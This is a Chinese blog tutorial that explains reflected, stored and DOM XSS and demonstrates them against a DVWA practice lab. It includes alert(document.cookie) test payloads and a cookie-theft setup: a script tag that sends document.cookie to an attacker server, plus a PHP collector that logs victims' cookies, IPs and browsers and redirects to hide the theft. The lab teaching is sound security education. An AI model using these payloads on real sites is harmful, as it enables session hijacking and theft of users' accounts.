程Kaedy.cn-www.kaedy.cn

XSS跨站脚本攻击介绍

跨站脚本攻击英文全称为(Cross site Script)缩写为 CSS,但是为了和层叠样式表(Cascading Style
Sheet)CSS 区分开来,所以在安全领域跨站脚本攻击叫做 XSS

XSS 攻击简介

XSS 攻击通常指黑客通过往 Web 页面中插入恶意 Script 代码,当用户访问网页时恶意代码在用户的
浏览器中被执行,从而劫持用户浏览器窃取用户信息。
1、黑客加在特定 web 页面 index.html 中,加入 XSS 脚本。
2、用户访问 index.html,会加载 XSS 脚本
3、XSS 脚本把用户的会话 cookie 信息发给黑客
4、黑客使用用户的信息进行恶意操作

XSS跨站脚本攻击的三种类型

反射型XSS

  反射型 XSS

反射型 XSS 又称之为非持久型 XSS,黑客需要通过诱使用户点击包含 XSS 攻击代码的恶意链接,然
后用户浏览器执行恶意代码触发 XSS 漏洞。
比如网站里面的小广告
诱导用户点击的

存储型XSS

存储型 XSS

存储型 XSS 会把用户输入的数据存储在服务器端,这种 XSS 可以持久化,而且更加稳定。
比如黑客写了一篇包含 XSS 恶意代码的博客文章,那么访问该博客的所有用户他们的浏览器中都会执行黑客构造的 XSS 恶意代码,通常这种攻击代码会以文本或数据库的方式保存在服务器端,所以称之为存储型 XSS。

DOM型XSS

 DOM 型 XSS

DOM 概述:HTML DOM 定义了访问和操作 HTML 文档的标准方法。
DOM 型 XSS 并不根据数据是否保存在服务器端来进行划分,从效果来看它属于反射性 XSS,但是因
为形成原因比较特殊所以被单独作为一个分类,通过修改 DOM 节点形成的 XSS 攻击被称之为 DOM 型
DOM型漏洞我将它分成树状图来解释的话看下图:

项目场景:DVWA靶场

我以提前搭建好DVWA靶场:
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的 PHP/MySQL
Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助 web 开发者更好的理解 web 应用安全防范的过程。


先将DVWA的等级换成low

反射型XSS演示

它类似一个留言板一样的,你输入的内容,会显示相应的信息

reflected 反射
点击 submit 按钮,查 URL是http://192.168.1.106:8001/vulnerabilities/xss_r/?name=%E7%A8%8Bkaedy# 由于我前面是输入了程 在URL里显示不出来中文 后面实验内容就用kaedy了!

查看源代码


<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}?>

根据回显信息判断出,显示的文本内容是 Hello name。我们输入的信息被存放在name。我们输入的信息被存放在name。我们输入的信息被存放在name 变量中。
我们添加一条 JavaScript 代码获取 cookie

构造js获取cookie代码是

<script>
alert(document.cookie); #alert 弹出窗口,窗口中内容是 cookie
</script>

或者

<script>alert(document.cookie);</script>#也是一样的

将代码放入

就会弹出网站的cookie值

可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。说明此网站有 XSS 漏洞!


存储型 XSS 原理:

存储型 XSS 的优势在于恶意代码被存储到服务器上,比如我们在论坛发帖的过程中嵌入了 XSS 攻击 代码,当我们发布的帖子被用户浏览访问时就可以触发 XSS 代码。 一个站点,能写入并被执行,就可以被渗透!

刷新
存储型 XSS 和反射型 XSS 的区别是:
反射型 XSS 只会执行一次脚本 , 2 存储型 XSS 每次访问这个页面都会执行脚本。因为 XSS 代码已经嵌入在了该 Web 站点当中,所以每次访问都会被执行。

每次刷新这个页面就会弹出cookie


实战盗取cookie:

先上实战拓扑图

在centos服务器上搭建web站点接收cookie

先启动apache服务
systemctl start apache
[root@VM-0-5-centos /]# cd /var/www/html
新建用户接受cookie值的php页面
[root@VM-0-5-centos html]# vi cheng.php

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

要建一个txt文件,用于接受cookie的txt文件

修改网页权限

root@kali:/var/www/html# chown www-data:www-data cheng.php
root@kali:/var/www/html# touch cookie.txt #创建存 cookie 的文件

root@kali:/var/www/html# chown www-data:www-data cookie.txt
root@kali:/var/www/html#
服务重启
root@kali:/var/www/html# service apache2 start

在反射性XSS漏洞或者存储型里插入下面的代码就能实现跨站盗取cookie值

插入下面的这个代码

<script>document.location='http://192.168.1.103/cheng.php?cookie='+document.cookie</script>

现在我来说下代码的含义
Payload 说明:
JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。
document.location #用于跳转页面
http://192.168.1.103/cheng.php?cookie=’+document.cookie #传递 cookie 参数到cheng.php
从而将cookie值存到cookie.txt文件里

关于cheng.php
还可以改下

<?php$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件header("Location: http://www.baidu.com")//重定向到baidu,防止发现
?>

下次我再更新如何使用盗取的cookie值,实现免密登录

xss漏洞-DVWA跨站攻击盗取用户cookie值相关推荐

  1. 【DVWA(五)】XXS存储型跨站攻击

    XSS存储型跨站攻击(Stored Cross Site Scripting) 前言: 相较于XSS反射型跨站攻击,存储型具有更严重的危害,如果在窃取信息的同时对网页没有任何变化,那受害者将很难发现. ...

  2. xss跨站攻击【网络攻防CTF】(保姆级图文)

    目录 什么是xss跨站攻击 实验内容 实验步骤 如何避免xss跨站攻击 总结 欢迎关注 『网络攻防CTF』 系列,持续更新中 欢迎关注 『网络攻防CTF』 系列,持续更新中 什么是xss跨站攻击 跨站 ...

  3. 总结 XSS 与 CSRF 两种跨站攻击

    在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了.但是 ...

  4. XSS与CSRF两种跨站攻击比较

    XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...

  5. XSS和CSRF两种跨站攻击比较

    以下是我从一个大佬那转过来的 觉得写得非常非常好哈哈哈 忍不住想转载 可惜好像从博客园直接转过来转不过来 这是原文链接 XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求 ...

  6. 总结XSS与CSRF两种跨站攻击

    XSS:跨站脚本(Cross-site scripting),实际应是"CSS",但由于和层叠样式表CSS名称冲突,故改为"XSS" CSRF:跨站请求伪造(C ...

  7. Cross-Site Scripting XSS 跨站攻击全攻略

    原文:http://a1pass.blog.163.com/blog/static/2971373220087295449497/ 题记:这是我在<黑客X档案>08年第5期发表的一篇文章, ...

  8. xss跨站攻击html转义,前端攻击和防御(一)XSS跨站脚本攻击

    (一)XSS跨站脚本攻击 (1)XSS简介 XSS攻击全称跨站脚本攻击(Cross Site Scripting),是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混 ...

  9. 如何进行渗透测试XSS跨站攻击检测

    国庆假期结束,这一节准备XSS跨站攻击渗透测试中的利用点,上一节讲了SQL注入攻击的详细流程,很多朋友想要咨询具体在跨站攻击上是如何实现和利用的,那么我们Sinesafe渗透测试工程师为大家详细的讲讲 ...

最新文章

  1. UA MATH564 概率论 QE练习题3
  2. 【STM32】PWM 输出实验代码详解
  3. Leetcode 剑指 Offer 21. 调整数组顺序使奇数位于偶数前面 (每日一题 20210917)
  4. 岛屿类-网格类问题-DFS | 力扣200. 岛屿数量
  5. JDBC连接mysql、创建表、操作数据、PreparedStatement防注入、sql语句返回值类型知识汇总
  6. qt设置圆形按钮_Qt开源作品25-电池电量控件
  7. 虽然有失落的即时通讯
  8. 114. Flatten Binary Tree to Linked List【Medium】【将给定的二叉树转化为“只有右孩子节点”的链表(树)】...
  9. DRILLNET 2.0------第二十章 高温高压钻井水力计算模型
  10. EXT2的文件系统装载之内核函数ext2_fill_super分析
  11. 【TSP】基于matlab自重启伪遗传改良算法求解旅行商问题【含Matlab源码 1510期】
  12. vs编译与停止调试时卡顿、无响应的问题
  13. Python学习笔记之蓝牙模块通讯-Pybluez
  14. Vbox虚拟机无法启动错误Mark
  15. 多媒体——音频——利用MediaRecorder录制音频
  16. apiCloud app调用浏览器打开网页的方法
  17. 拉里·埃里森亲自支招,数据库自动化之后,DBA何去何从?
  18. c++ 对象模型 7
  19. SQL SERVER 用户自定义函数(UDF)深入解析
  20. 《Effective C艹》读书笔记(13)

热门文章

  1. 拉丁方(数独)的构造方法
  2. 08年监理工程师,一级建造师考前强化培训班招生
  3. 实验三 静态路由配置
  4. 黑客利用瑞昱声卡设计缺陷监听你?
  5. ROS入门21讲---ROS命令行工具的使用
  6. 【华为机试真题Python】高矮个子排队
  7. 统计推断第三章20200601
  8. 鱼c论坛 python课后题pdf_[全套55讲]鱼C论坛小甲鱼Python的课后题.pdf
  9. mysql bak 还原数据库文件格式_Navicat操作SQL server 2008R2文件.bak文件还原
  10. java计算百分比值的方法